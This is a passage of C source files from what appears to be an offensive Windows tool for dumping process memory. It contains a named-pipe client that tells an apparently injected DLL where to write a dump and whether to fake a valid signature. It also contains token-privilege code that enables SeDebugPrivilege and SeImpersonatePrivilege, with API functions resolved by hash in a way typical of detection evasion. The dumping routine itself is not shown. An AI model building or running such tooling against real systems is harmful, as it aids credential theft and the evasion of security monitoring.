BOOL ret_val = FALSE; 92 | BOOL success = FALSE; 93 | HANDLE hPipe = NULL; 94 | 95 | Sleep_t Sleep = NULL; 96 | 97 | Sleep = (Sleep_t)(ULONG_PTR)get_function_address( 98 | get_library_address(KERNEL32_DLL, TRUE), 99 | Sleep_SW2_HASH, 100 | 0); 101 | if (!Sleep) 102 | { 103 | api_not_found("Sleep"); 104 | goto cleanup; 105 | } 106 | 107 | for (int i = 0; i < 5; ++i) 108 | { 109 | // let's try to connect to the named pipe 110 | success = client_connect_to_named_pipe( 111 | IPC_PIPE_NAME, 112 | &hPipe); 113 | if (!success) 114 | { 115 | // sleep half a second and try again 116 | if (i != 4) 117 | { 118 | DPRINT("could not connnect to the named pipe, sleeping and trying again..."); 119 | } 120 | Sleep(500); 121 | continue; 122 | } 123 | break; 124 | } 125 | 126 | if (!success) 127 | { 128 | PRINT_ERR("Could not connect to the named pipe, the DLL does not seem to have been loaded"); 129 | goto cleanup; 130 | } 131 | 132 | success = client_send_arguments_from_pipe( 133 | hPipe, 134 | dump_path, 135 | use_valid_sig, 136 | FALSE); 137 | if (!success) 138 | goto cleanup; 139 | 140 | success = client_recv_success( 141 | hPipe, 142 | dump_worked); 143 | if (!success) 144 | goto cleanup; 145 | 146 | ret_val = TRUE; 147 | 148 | cleanup: 149 | if (hPipe) 150 | NtClose(hPipe); 151 | 152 | return ret_val; 153 | } 154 | 155 | #endif 156 | -------------------------------------------------------------------------------- /source/token_priv.c: -------------------------------------------------------------------------------- 1 | #include "token_priv.h" 2 | #if defined(NANO) && defined(BOF) 3 | #include "dinvoke.c" 4 | #endif 5 | 6 | #if !defined(SSP) 7 | 8 | BOOL enable_impersonate_priv(VOID) 9 | { 10 | BOOL success = check_token_privilege( 11 | NULL, 12 | L"SeImpersonatePrivilege", 13 | TRUE); 14 | if (!success) 15 | { 16 | PRINT_ERR("Could not enable SeImpersonatePrivilege. Are you elevated?"); 17 | } 18 | return success; 19 | } 20 | 21 | BOOL enable_debug_priv(VOID) 22 | { 23 | BOOL success = check_token_privilege( 24 | NULL, 25 | SeDebugPrivilege, 26 | TRUE); 27 | if (!success) 28 | { 29 | PRINT_ERR("Could not enable SeDebugPrivilege. Are you elevated?"); 30 | } 31 | return success; 32 | } 33 | 34 | BOOL check_token_privileges( 35 | IN HANDLE hToken OPTIONAL, 36 | IN LPCWSTR ppwszRequiredPrivileges[], 37 | IN ULONG32 dwNumRequiredPrivileges, 38 | IN BOOL bEnablePrivilege) 39 | { 40 | BOOL success = FALSE; 41 | BOOL own_token = FALSE; 42 | NTSTATUS status = STATUS_UNSUCCESSFUL; 43 | 44 | if (!ppwszRequiredPrivileges || !dwNumRequiredPrivileges) 45 | return TRUE; 46 | 47 | if (!hToken) 48 | { 49 | // get a handle to our token 50 | own_token = TRUE; 51 | status = NtOpenProcessToken( 52 | NtCurrentProcess(), 53 | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 54 | &hToken); 55 | if (!NT_SUCCESS(status)) 56 | { 57 | syscall_failed("NtOpenProcessToken", status); 58 | goto end; 59 | } 60 | } 61 | 62 | for (ULONG32 i = 0; i < dwNumRequiredPrivileges; i++) 63 | { 64 | // make sure we have all the privileges we need 65 | success = check_token_privilege( 66 | hToken, 67 | ppwszRequiredPrivileges[i], 68 | bEnablePrivilege); 69 | if (!success && own_token && bEnablePrivilege) 70 | { 71 | PRINT_ERR("A privilege is missing: %ls. Are you elevated?", ppwszRequiredPrivileges[i]); 72 | goto end; 73 | } 74 | else if (!success) 75 | { 76 | PRINT_ERR("A privilege is missing: %ls", ppwszRequiredPrivileges[i]); 77 | goto end; 78 | } 79 | } 80 | 81 | success = TRUE; 82 | 83 | end: 84 | if (own_token && hToken) 85 | NtClose(hToken); 86 | 87 | return success; 88 | } 89 | 90 | BOOL check_token_privilege( 91 | IN HANDLE hToken OPTIONAL, 92 | IN LPCWSTR pwszPrivilege, 93 | IN BOOL bEnablePrivilege) 94 | { 95 | BOOL bReturnValue = FALSE; 96 | ULONG dwTokenPrivilegesSize = 8, i = 0, dwPrivilegeNameLength = 0; 97 | ULONG dwPrevTokenPrivilegesSize = dwTokenPrivilegesSize; 98 | PTOKEN_PRIVILEGES pTokenPrivileges = NULL; 99 | LookupPrivilegeNameW_t LookupPrivilegeNameW; 100 | LUID_AND_ATTRIBUTES laa = { 0 }; 101 | TOKEN_PRIVILEGES tkp = { 0 }; 102 | PRIVILEGE_SET priv_set = { 0 }; 103 | LPWSTR pwszPrivilegeNameTemp = NULL; 104 | NTSTATUS status = STATUS_UNSUCCESSFUL; 105 | BOOL own_token = FALSE; 106 | BOOL success = FALSE; 107 | BOOL found_priv = FALSE; 108 | 109 | LookupPrivilegeNameW = (LookupPrivilegeNameW_t)(ULONG_PTR)get_function_address( 110 | get_library_address(ADVAPI32_DLL, TRUE), 111 | LookupPrivilegeNameW_SW2_HASH, 112 | 0); 113 | if (!LookupPrivilegeNameW) 114 | { 115 | api_not_found("LookupPrivilegeNameW"); 116 | goto end; 117 | } 118 | 119 | if (!hToken) 120 | { 121 | // get a handle to our token 122 | own_token = TRUE; 123 | status = NtOpenProcessToken( 124 | NtCurrentProcess(), 125 | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 126 | &hToken); 127 | if (!NT_SUCCESS(status)) 128 | { 129 | syscall_failed("NtOpenProcessToken", status); 130 | goto end; 131 | } 132 | } 133 | 134 | do 135 | { 136 | dwPrevTokenPrivilegesSize = dwTokenPrivilegesSize; 137 | pTokenPrivileges = intAlloc(dwTokenPrivilegesSize); 138 | if (!pTokenPrivileges) 139 | { 140 | malloc_failed(); 141 | goto end; 142 | } 143 | 144 | status = NtQueryInformationToken( 145 | hToken, 146 | TokenPrivileges, 147 | pTokenPrivileges, 148 | dwTokenPrivilegesSize, 149 | &dwTokenPrivilegesSize); 150 | if (NT_SUCCESS(status)) 151 | break; 152 | 153 | DATA_FREE(pTokenPrivileges, dwPrevTokenPrivilegesSize); 154 | } while (status == STATUS_BUFFER_TOO_SMALL); 155 | 156 | if (!NT_SUCCESS(status)) 157 | { 158 | syscall_failed("NtQueryInformationToken", status); 159 | goto end; 160 | } 161 | 162 | for (i = 0; i < pTokenPrivileges->PrivilegeCount; i++) 163 | { 164 | laa = pTokenPrivileges->Privileges[i]; 165 | dwPrivilegeNameLength = 0; 166 | 167 | success = LookupPrivilegeNameW( 168 | NULL, 169 | &laa.Luid, 170 | NULL, 171 | &dwPrivilegeNameLength); 172 | if (success || GetLastError() != ERROR_INSUFFICIENT_BUFFER) 173 | { 174 | function_failed("LookupPrivilegeNameW"); 175 | goto end; 176 | } 177 | dwPrivilegeNameLength++; 178 | 179 | pwszPrivilegeNameTemp = intAlloc(dwPrivilegeNameLength * sizeof(WCHAR)); 180 | if (!pwszPrivilegeNameTemp) 181 | { 182 | malloc_failed(); 183 | goto end; 184 | } 185 | 186 | success = LookupPrivilegeNameW( 187 | NULL, 188 | &laa.Luid, 189 | pwszPrivilegeNameTemp, 190 | &dwPrivilegeNameLength); 191 | if (!success) 192 | { 193 | function_failed("LookupPrivilegeNameW"); 194 | goto end; 195 | } 196 | 197 | if (!_wcsicmp(pwszPrivilegeNameTemp, pwszPrivilege)) 198 | { 199 | // found it 200 | found_priv = TRUE; 201 | 202 | // test if already enabled 203 | priv_set.PrivilegeCount = 1; 204 | priv_set.Privilege[0].Luid = laa.Luid; 205 | priv_set.Privilege[0].Attributes = laa.Attributes; 206 | status = NtPrivilegeCheck( 207 | hToken, 208 | &priv_set, 209 | &bReturnValue); 210 | if (!NT_SUCCESS(status)) 211 | { 212 | syscall_failed("NtPrivilegeCheck", status); 213 | bReturnValue = FALSE; 214 | goto end; 215 | } 216 | 217 | if (bReturnValue) 218 | { 219 | DPRINT("Privilege %ls was already enabled", pwszPrivilegeNameTemp); 220 | } 221 | 222 | if (!bReturnValue && bEnablePrivilege) 223 | { 224 | tkp.PrivilegeCount = 1; 225 | tkp.Privileges[0].Luid = laa.Luid; 226 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 227 | 228 | status = NtAdjustPrivilegesToken( 229 | hToken, 230 | FALSE, 231 | &tkp, 232 | sizeof(TOKEN_PRIVILEGES), 233 | NULL, 234 | NULL); 235 | if (!NT_SUCCESS(status)) 236 | { 237 | syscall_failed("NtAdjustPrivilegesToken", status); 238 | goto end; 239 | } 240 | DPRINT("Enabled %ls", pwszPrivilegeNameTemp); 241 | bReturnValue = TRUE; 242 | } 243 | 244 | if (!bReturnValue && !bEnablePrivilege) 245 | { 246 | DPRINT("The privilege %ls is not enabled", pwszPrivilegeNameTemp); 247 | } 248 | 249 | break; 250 | } 251 | DATA_FREE(pwszPrivilegeNameTemp, wcslen(pwszPrivilegeNameTemp) * sizeof(WCHAR)); 252 | } 253 | 254 | if (!found_priv) 255 | { 256 | DPRINT_ERR("The privilege %ls was not found", pwszPrivilege); 257 | } 258 | 259 | end: 260 | if (pTokenPrivileges) 261 | { 262 | DATA_FREE(pTokenPrivileges, dwTokenPrivilegesSize); 263 | } 264 | if (pwszPrivilegeNameTemp) 265 | { 266 | DATA_FREE(pwszPrivilegeNameTemp, wcslen(pwszPrivilegeNameTemp) * sizeof(WCHAR)); 267 | } 268 | if (own_token && hToken) 269 | NtClose(hToken); 270 | 271 | return bReturnValue; 272 | } 273 | 274 | #endif 275 | --------------------------------------------------------------------------------